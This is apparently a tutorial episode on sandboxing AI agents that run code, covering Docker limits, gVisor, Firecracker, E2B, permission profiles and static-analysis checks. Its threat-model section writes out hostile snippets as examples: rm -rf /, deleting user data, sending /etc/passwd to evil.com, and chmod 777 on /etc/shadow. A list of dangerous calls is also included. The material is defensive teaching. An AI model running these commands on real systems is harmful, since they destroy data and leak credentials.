You gave your AI agent the ability to run Python code. It was supposed to analyze a CSV file. Instead, it ran os.system("rm -rf /").
Not because it was malicious. Because the LLM saw an error, tried to "fix" it by cleaning up files, and got a little too creative. LLMs don't understand consequences. They predict tokens. And sometimes the predicted tokens are catastrophic shell commands.
The moment your AI agent can execute code, access files, or call APIs, text-based guardrails aren't enough. You need sandboxing โ a cage that lets the agent do useful work while preventing it from burning down your infrastructure.
Why Code Execution Is Different
Text guardrails (Episode 52) protect against the model saying bad things. Sandboxing protects against the model doing bad things.
Threat Text Guardrails Sandboxing
| Offensive language | โ Catches | Not relevant |
|---|---|---|
| Harmful instructions | โ Catches | Not relevant |
| rm -rf / | โ Too late if executed | โ Prevents execution |
| Exfiltrating data via API calls | โ Can't detect | โ Blocks network access |
| Infinite loops consuming resources | โ Can't prevent | โ CPU/memory limits |
| Reading sensitive files | โ Can't prevent | โ Filesystem isolation |
| Cryptocurrency mining | โ Can't detect | โ Resource limits |
Text guardrails are about what the model says. Sandboxing is about what the model can do.
The Threat Model
Before building a sandbox, understand what can go wrong:
- Destructive Operations
python
LLM generates this "to clean up temporary files"
import shutil
shutil.rmtree("/home/user/data") # Deletes all user data
- Data Exfiltration
python
LLM "helpfully" sends logs to an external endpoint
import requests
with open("/etc/passwd") as f:
requests.post("https://evil.com/collect", data=f.read())- Resource Exhaustion
python
LLM writes a buggy loop
data = []while True:
data.append("x" * 10**6) # Allocates until OOM- Privilege Escalation
python
import subprocess
subprocess.run(["sudo", "chmod", "777", "/etc/shadow"])
- Lateral Movement
python
Agent tries to access other services on the network
import socket
s = socket.socket()s.connect(("database-server.internal", 5432))
Now it's talking to your production database
None of these require a jailbroken model. A perfectly well-intentioned LLM can do all of these through bad reasoning, hallucinated commands, or misunderstanding the task.
๐ง
Container Isolation: The Foundation
Docker containers are the most common sandboxing approach. They provide OS-level isolation:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Host Machine โ
โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ Docker Container โ โ
โ โ โ โ
โ โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ โ
โ โ โ AI Agent Code โ โ โ
โ โ โ Execution โ โ โ
โ โ โ โ โ โ
โ โ โ โข Isolated filesystem โ โ โ
โ โ โ โข Limited network โ โ โ
โ โ โ โข CPU/RAM caps โ โ โ
โ โ โ โข No host access โ โ โ
โ โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ โ
โ Host filesystem, network, other โ
โ containers โ ALL inaccessible โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Minimal Sandbox Container
dockerfile
Dockerfile for AI code execution sandbox
FROM python:3.11-slim
Create non-root user
RUN useradd -m -s /bin/bash sandbox
RUN mkdir /workspace && chown sandbox:sandbox /workspace
Install common data science packages
RUN pip install --no-cache-dir \
pandas numpy matplotlib seaborn \
scikit-learn scipyRemove dangerous tools
RUN apt-get remove -y wget curl netcat-openbsd 2>/dev/null; \
rm -f /usr/bin/wget /usr/bin/curlDrop to non-root user
USER sandbox
WORKDIR /workspace
No CMD โ container is used for exec commands
Running Code in a Sandbox
python
import docker
import tempfile
import os
client = docker.from_env()
def execute_sandboxed(code: str, timeout: int = 30) -> dict:
"""Execute Python code in an isolated container"""
# Write code to a temp file
with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
f.write(code)
code_path = f.name
try:
container = client.containers.run(
image="ai-sandbox:latest",
command=f"python /workspace/script.py",
volumes={
code_path: {"bind": "/workspace/script.py", "mode": "ro"}
},
# CRITICAL SECURITY SETTINGS
mem_limit="512m", # Max 512MB RAM
cpu_period=100000,
cpu_quota=50000, # 50% of one CPU core
network_disabled=True, # NO network access
read_only=True, # Read-only filesystem
tmpfs={"/tmp": "size=100m"}, # Small writable temp space
user="sandbox", # Non-root user
security_opt=["no-new-privileges"], # Can't escalate
detach=True,
)
# Wait with timeout
result = container.wait(timeout=timeout)
logs = container.logs().decode("utf-8")
return {
"exit_code": result["StatusCode"],
"stdout": logs,
"error": None if result["StatusCode"] == 0 else logs
}
except docker.errors.ContainerError as e:
return {"exit_code": 1, "stdout": "", "error": str(e)}
finally:
try:
container.remove(force=True)
except:
pass
os.unlink(code_path)Security Settings Explained
Setting What It Does Why It Matters
| mem_limit="512m" | Caps memory at 512MB | Prevents OOM attacks |
|---|---|---|
| cpu_quota=50000 | Limits to 50% of one CPU | Prevents crypto mining |
| network_disabled=True | No network access at all | Prevents data exfiltration |
| read_only=True | Can't write to filesystem | Prevents malware installation |
| user="sandbox" | Runs as non-root | Can't escalate privileges |
| no-new-privileges | Can't gain extra permissions | Defense in depth |
| timeout=30 | Kills after 30 seconds | Prevents infinite loops |
๐
gVisor and Firecracker: Beyond Docker
Regular Docker containers share the host kernel. A kernel exploit in the container could compromise the host. For higher security:
gVisor (Google's Sandbox)gVisor is a user-space kernel โ it intercepts system calls from the container and handles them in a sandboxed process:
Docker container: App โ System Call โ Host Kernel (shared)
gVisor container: App โ System Call โ gVisor Kernel โ Host Kernel (filtered)
bash
Install gVisor runtime
Then use with Docker:
docker run --runtime=runsc --rm ai-sandbox:latest python script.py
gVisor blocks dangerous system calls entirely. Even if the code tries to exploit a kernel vulnerability, it hits gVisor's user-space kernel first.
Firecracker (AWS's microVM)Firecracker creates lightweight micro-VMs โ actual virtual machines that boot in 125ms:
Docker: App โ Container โ Shared Kernel โ Hardware
Firecracker: App โ microVM โ Own Kernel โ Hardware
This is what AWS Lambda and Fly.io use. Each execution gets its own virtual machine with its own kernel. Complete isolation.
Comparison
Feature Docker Docker + gVisor Firecracker
Isolation Process-level Syscall-filtered VM-level
| Startup time | ~100ms | ~200ms | ~125ms |
|---|---|---|---|
| Overhead | Minimal | ~5-15% | ~5-10% |
| Security | Good | Very good | Excellent |
| Kernel shared | Yes | Partially | No |
| Best for | Development, trusted code | Production sandboxing | Multi-tenant, untrusted code |
E2B: Sandboxing as a Service
Don't want to manage sandbox infrastructure? E2B (e2b.dev) provides cloud sandboxes via API:
python
from e2b_code_interpreter import Sandbox
Create a sandbox (boots in ~150ms)
sandbox = Sandbox()Execute code safely
execution = sandbox.run_code("""import pandas as pd
import numpy as np
Generate sample data
data = pd.DataFrame({
'sales': np.random.randint(100, 1000, 50),
'region': np.random.choice(['North', 'South', 'East', 'West'], 50)})
print(data.groupby('region')['sales'].mean())""")
print(execution.text) # stdout
print(execution.error) # stderr, if anyUpload files for the agent to work with
sandbox.files.write("/workspace/data.csv", csv_content)
Download results
result = sandbox.files.read("/workspace/output.png")Sandbox auto-destroys after timeout
sandbox.close()
E2B Features
Feature Details
| Boot time | ~150ms |
|---|---|
| Languages | Python, JavaScript, R, Bash, more |
| File upload/download | Yes โ send data in, get results out |
| Network | Configurable โ allow or block |
| Persistence | Optional โ keep sandbox alive between calls |
| GPU support | Available for ML workloads |
| Pricing | Per-second billing, starts at $0.0001/sec |
Permission Models: What Can the Agent Do?
Beyond container isolation, you need a permission system that defines what actions are allowed:
The Principle of Least Privilege
Give the agent the minimum permissions needed for its task:
python
class AgentPermissions:
def __init__(self, config):
self.allowed_modules = config.get("modules", [])
self.allowed_paths = config.get("paths", [])
self.network_allowed = config.get("network", False)
self.max_file_size = config.get("max_file_size", 10_000_000) # 10MB
self.allowed_commands = config.get("commands", [])Permission profiles for different agent types
PROFILES = {
"data_analyst": AgentPermissions({
"modules": ["pandas", "numpy", "matplotlib", "seaborn", "scipy"],
"paths": ["/workspace/data/*", "/workspace/output/*"],
"network": False,
"max_file_size": 100_000_000, # 100MB for data files
"commands": [], # No shell commands
}),"web_researcher": AgentPermissions({
"modules": ["requests", "beautifulsoup4", "json"],
"paths": ["/workspace/cache/*"],
"network": True, # Needs internet
"allowed_domains": ["*.wikipedia.org", "*.arxiv.org"],
"commands": [],
}),"code_assistant": AgentPermissions({
"modules": ["*"], # Any Python module
"paths": ["/workspace/project/*"],
"network": False,
"commands": ["pytest", "ruff", "mypy"], # Only linting/testing
}),}
Static Code Analysis Before Execution
Before running code, scan it for dangerous patterns:
python
import ast
DANGEROUS_CALLS = {
"os.system", "os.popen", "os.exec", "os.execvp",
"subprocess.run", "subprocess.Popen", "subprocess.call",
"shutil.rmtree", "shutil.move",
"eval", "exec", "compile",
"__import__",
"open", # Flag but don't always block}
def analyze_code_safety(code: str) -> list:
"""Static analysis to detect dangerous code patterns"""
warnings = []
try:
tree = ast.parse(code)
except SyntaxError as e:
return [f"Syntax error: {e}"]
for node in ast.walk(tree):
# Check function calls
if isinstance(node, ast.Call):
func_name = get_func_name(node)
if func_name in DANGEROUS_CALLS:
warnings.append(
f"Line {node.lineno}: Dangerous call '{func_name}'"
)
# Check imports
if isinstance(node, ast.Import):
for alias in node.names:
if alias.name in ["os", "subprocess", "shutil", "socket"]:
warnings.append(
f"Line {node.lineno}: Suspicious import '{alias.name}'"
)
return warningsPre-check before execution
code = agent_generated_code
warnings = analyze_code_safety(code)if warnings:
# Ask for human approval or reject
print(f"Code flagged: {warnings}")else:
# Safe to execute in sandbox
execute_sandboxed(code)๐ฌ
Real-World Sandbox Architectures
OpenAI Code Interpreter
OpenAI's code interpreter uses a sandboxed Jupyter kernel:
User โ ChatGPT โ Code Generation โ Sandbox (Jupyter) โ Result โ User
โ
โโโ Isolated container per session
โโโ No internet access
โโโ Pre-installed packages
โโโ File upload/download only
โโโ Auto-destroyed after sessionAnthropic's Computer Use
Claude's computer use feature runs in a sandboxed VM:
User โ Claude โ Action Plan โ Sandbox VM โ Screenshot โ Claude โ ...
โ
โโโ Full desktop environment
โโโ Isolated from host
โโโ Network access (controlled)
โโโ Mouse/keyboard simulation
โโโ Human can observe in real-timeOpen-Source Agent Frameworks
Most frameworks (LangChain, CrewAI, AutoGen) support pluggable execution backends:
python
LangChain with sandboxed execution
from langchain_experimental.tools import PythonREPLTool
from langchain.tools import Tool
Instead of local execution:
tool = PythonREPLTool() # โ ๏ธ DANGEROUS โ runs on your machine
Use sandboxed execution:
def sandboxed_python(code: str) -> str:
result = execute_sandboxed(code, timeout=30)
return result["stdout"] if not result["error"] else result["error"]
tool = Tool(
name="python_sandbox",
func=sandboxed_python,
description="Execute Python code in an isolated sandbox")
๐ก๏ธ
The Sandbox Checklist
Before deploying an AI agent with code execution:
โก Container isolation (Docker minimum)
โก Non-root user
โก Memory limits
โก CPU limits
โก Execution timeout
โก Network disabled (or allowlisted domains only)
โก Read-only filesystem (except /tmp or /workspace)
โก No access to host filesystem
โก No access to host Docker socket
โก Static code analysis before execution
โก Logging of all executed code
โก Human-in-the-loop for destructive operations
โก Auto-destroy containers after use
๐ฆ
Practical Takeaways
Never run LLM-generated code on your host machine โ always use a sandbox
Docker is the minimum โ add gVisor or Firecracker for untrusted multi-tenant scenarios
E2B is the fastest path โ cloud sandbox API, no infrastructure to manage
Disable network by default โ if the agent doesn't need internet, don't give it internet
Static analysis + container isolation = defense in depth โ catch dangerous patterns before execution, contain damage if they slip through
Log everything โ every piece of code the agent generates and executes should be auditable
๐
What's Next?
Episode 54: Data Privacy โ Sandboxing protects your infrastructure. But what about your users' data? When you send a prompt to OpenAI, where does that data go? Who can see it? Is it used for training? We'll cover PII detection, data residency, GDPR compliance, and how to build AI apps that respect privacy.
โ Previous
Ep 52: Guardrails
Next โ
Ep 54: Data Privacy in AI Systems
Next: Episode 54 โ Data Privacy in AI Systems
Every word you type into ChatGPT, every document you upload to Claude โ it all goes somewhere. Here's exactly where.
This is part of a 98-episode series covering AI engineering from tokens to production deployment.